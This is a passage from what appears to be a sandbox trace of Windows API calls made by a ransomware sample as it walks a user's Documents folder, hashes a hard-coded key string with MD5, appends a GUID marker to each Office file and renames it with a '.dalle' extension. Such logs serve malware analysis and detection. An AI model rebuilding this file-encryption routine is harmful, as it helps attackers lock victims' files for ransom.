ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0120.263] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x70) returned 0x3018380 [0120.263] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0120.263] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0120.264] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0120.264] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0120.264] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e252560, ftCreationTime.dwHighDateTime=0x1d4c001, ftLastAccessTime.dwLowDateTime=0x636bf60, ftLastAccessTime.dwHighDateTime=0x1d4df61, ftLastWriteTime.dwLowDateTime=0x636bf60, ftLastWriteTime.dwHighDateTime=0x1d4df61, nFileSizeHigh=0x0, nFileSizeLow=0x14443, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PSaER.xlsx", cAlternateFileName="PSAER~1.XLS")) returned 1 [0120.264] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\PSaER.xlsx") returned=".xlsx" [0120.264] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\PSaER.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\psaer.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.265] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=83011) returned 1 [0120.265] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.266] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1441d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.266] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.268] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x14443, lpOverlapped=0x0) returned 1 [0120.269] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.269] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.269] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.269] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0d20) returned 1 [0120.269] CryptCreateHash (in: hProv=0x6c0d20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.270] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.270] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.270] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.270] GetLastError () returned 0x0 [0120.270] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.270] CryptReleaseContext (hProv=0x6c0d20, dwFlags=0x0) returned 1 [0120.270] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0120.270] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x14443, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.270] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.270] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.271] CloseHandle (hObject=0x618) returned 1 [0120.272] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\PSaER.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\psaer.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\PSaER.xlsx.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\psaer.xlsx.dalle")) returned 1 [0120.273] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdccd3e0, ftCreationTime.dwHighDateTime=0x1d528a7, ftLastAccessTime.dwLowDateTime=0xd0d16870, ftLastAccessTime.dwHighDateTime=0x1d4e276, ftLastWriteTime.dwLowDateTime=0xd0d16870, ftLastWriteTime.dwHighDateTime=0x1d4e276, nFileSizeHigh=0x0, nFileSizeLow=0x11877, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rHxPXYmZyC.xlsx", cAlternateFileName="RHXPXY~1.XLS")) returned 1 [0120.273] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rHxPXYmZyC.xlsx") returned=".xlsx" [0120.273] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rHxPXYmZyC.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rhxpxymzyc.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.273] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=71799) returned 1 [0120.273] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.275] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x11851, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.275] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.276] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x11877, lpOverlapped=0x0) returned 1 [0120.277] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.277] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.277] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.277] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0d20) returned 1 [0120.278] CryptCreateHash (in: hProv=0x6c0d20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.278] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.278] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.278] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.278] GetLastError () returned 0x0 [0120.278] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.278] CryptReleaseContext (hProv=0x6c0d20, dwFlags=0x0) returned 1 [0120.279] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x11877, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.279] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.279] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.279] CloseHandle (hObject=0x618) returned 1 [0120.280] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rHxPXYmZyC.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rhxpxymzyc.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\rHxPXYmZyC.xlsx.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rhxpxymzyc.xlsx.dalle")) returned 1 [0120.282] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45a5eec0, ftCreationTime.dwHighDateTime=0x1d50af7, ftLastAccessTime.dwLowDateTime=0x58eef3f0, ftLastAccessTime.dwHighDateTime=0x1d4f21f, ftLastWriteTime.dwLowDateTime=0x58eef3f0, ftLastWriteTime.dwHighDateTime=0x1d4f21f, nFileSizeHigh=0x0, nFileSizeLow=0x1582a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tosXZeBkp.docx", cAlternateFileName="TOSXZE~1.DOC")) returned 1 [0120.282] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tosXZeBkp.docx") returned=".docx" [0120.282] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tosXZeBkp.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tosxzebkp.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.282] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=88106) returned 1 [0120.282] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.284] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x15804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.284] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.285] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x1582a, lpOverlapped=0x0) returned 1 [0120.286] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.286] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.286] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.286] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0d20) returned 1 [0120.287] CryptCreateHash (in: hProv=0x6c0d20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.287] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.287] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.287] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.287] GetLastError () returned 0x0 [0120.287] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.287] CryptReleaseContext (hProv=0x6c0d20, dwFlags=0x0) returned 1 [0120.288] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1582a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.288] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.288] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.288] CloseHandle (hObject=0x618) returned 1 [0120.289] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tosXZeBkp.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tosxzebkp.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\tosXZeBkp.docx.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tosxzebkp.docx.dalle")) returned 1 [0120.290] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82541870, ftCreationTime.dwHighDateTime=0x1d4a8ea, ftLastAccessTime.dwLowDateTime=0x42f4f7b0, ftLastAccessTime.dwHighDateTime=0x1d4bba7, ftLastWriteTime.dwLowDateTime=0x42f4f7b0, ftLastWriteTime.dwHighDateTime=0x1d4bba7, nFileSizeHigh=0x0, nFileSizeLow=0xd799, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TUDp84ZZaxYWbhN0.pptx", cAlternateFileName="TUDP84~1.PPT")) returned 1 [0120.290] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TUDp84ZZaxYWbhN0.pptx") returned=".pptx" [0120.290] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TUDp84ZZaxYWbhN0.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tudp84zzaxywbhn0.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.291] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=55193) returned 1 [0120.291] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.293] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd773, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.293] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.294] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xd799, lpOverlapped=0x0) returned 1 [0120.295] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.295] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.295] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.295] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0d20) returned 1 [0120.296] CryptCreateHash (in: hProv=0x6c0d20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.296] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.296] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.296] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.296] GetLastError () returned 0x0 [0120.296] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.296] CryptReleaseContext (hProv=0x6c0d20, dwFlags=0x0) returned 1 [0120.296] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xd799, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.297] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.297] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.297] CloseHandle (hObject=0x618) returned 1 [0120.298] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TUDp84ZZaxYWbhN0.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tudp84zzaxywbhn0.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TUDp84ZZaxYWbhN0.pptx.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tudp84zzaxywbhn0.pptx.dalle")) returned 1 [0120.299] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c8b6e0, ftCreationTime.dwHighDateTime=0x1d51606, ftLastAccessTime.dwLowDateTime=0xcc283a80, ftLastAccessTime.dwHighDateTime=0x1d4dcca, ftLastWriteTime.dwLowDateTime=0xcc283a80, ftLastWriteTime.dwHighDateTime=0x1d4dcca, nFileSizeHigh=0x0, nFileSizeLow=0xdeb2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TvZ1bKJ tiq.pptx", cAlternateFileName="TVZ1BK~1.PPT")) returned 1 [0120.299] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TvZ1bKJ tiq.pptx") returned=".pptx" [0120.299] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TvZ1bKJ tiq.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tvz1bkj tiq.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.300] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=57010) returned 1 [0120.300] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.302] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xde8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.302] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.303] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0xdeb2, lpOverlapped=0x0) returned 1 [0120.304] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.304] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.304] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.304] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0d20) returned 1 [0120.305] CryptCreateHash (in: hProv=0x6c0d20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.305] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.305] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0120.305] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0120.305] GetLastError () returned 0x0 [0120.305] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0120.305] CryptReleaseContext (hProv=0x6c0d20, dwFlags=0x0) returned 1 [0120.305] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xdeb2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.306] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.306] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0120.306] CloseHandle (hObject=0x618) returned 1 [0120.307] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TvZ1bKJ tiq.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tvz1bkj tiq.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\TvZ1bKJ tiq.pptx.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\tvz1bkj tiq.pptx.dalle")) returned 1 [0120.308] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0891f10, ftCreationTime.dwHighDateTime=0x1d4ed9e, ftLastAccessTime.dwLowDateTime=0x2df9a420, ftLastAccessTime.dwHighDateTime=0x1d5021d, ftLastWriteTime.dwLowDateTime=0x2df9a420, ftLastWriteTime.dwHighDateTime=0x1d5021d, nFileSizeHigh=0x0, nFileSizeLow=0x35bd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vqFDMq0vDJBGr2hc.docx", cAlternateFileName="VQFDMQ~1.DOC")) returned 1 [0120.308] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vqFDMq0vDJBGr2hc.docx") returned=".docx" [0120.308] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\vqFDMq0vDJBGr2hc.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\vqfdmq0vdjbgr2hc.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0120.308] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x388fb4c | out: lpFileSize=0x388fb4c*=13757) returned 1 [0120.308] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x3640000 [0120.310] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x3597, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.310] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x388fb7c, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb7c*=0x26, lpOverlapped=0x0) returned 1 [0120.311] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x35bd, lpOverlapped=0x0) returned 1 [0120.312] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.312] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.312] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0120.312] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c0d20) returned 1 [0120.313] CryptCreateHash (in: hProv=0x6c0d20, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0120.313] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0120.313] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, 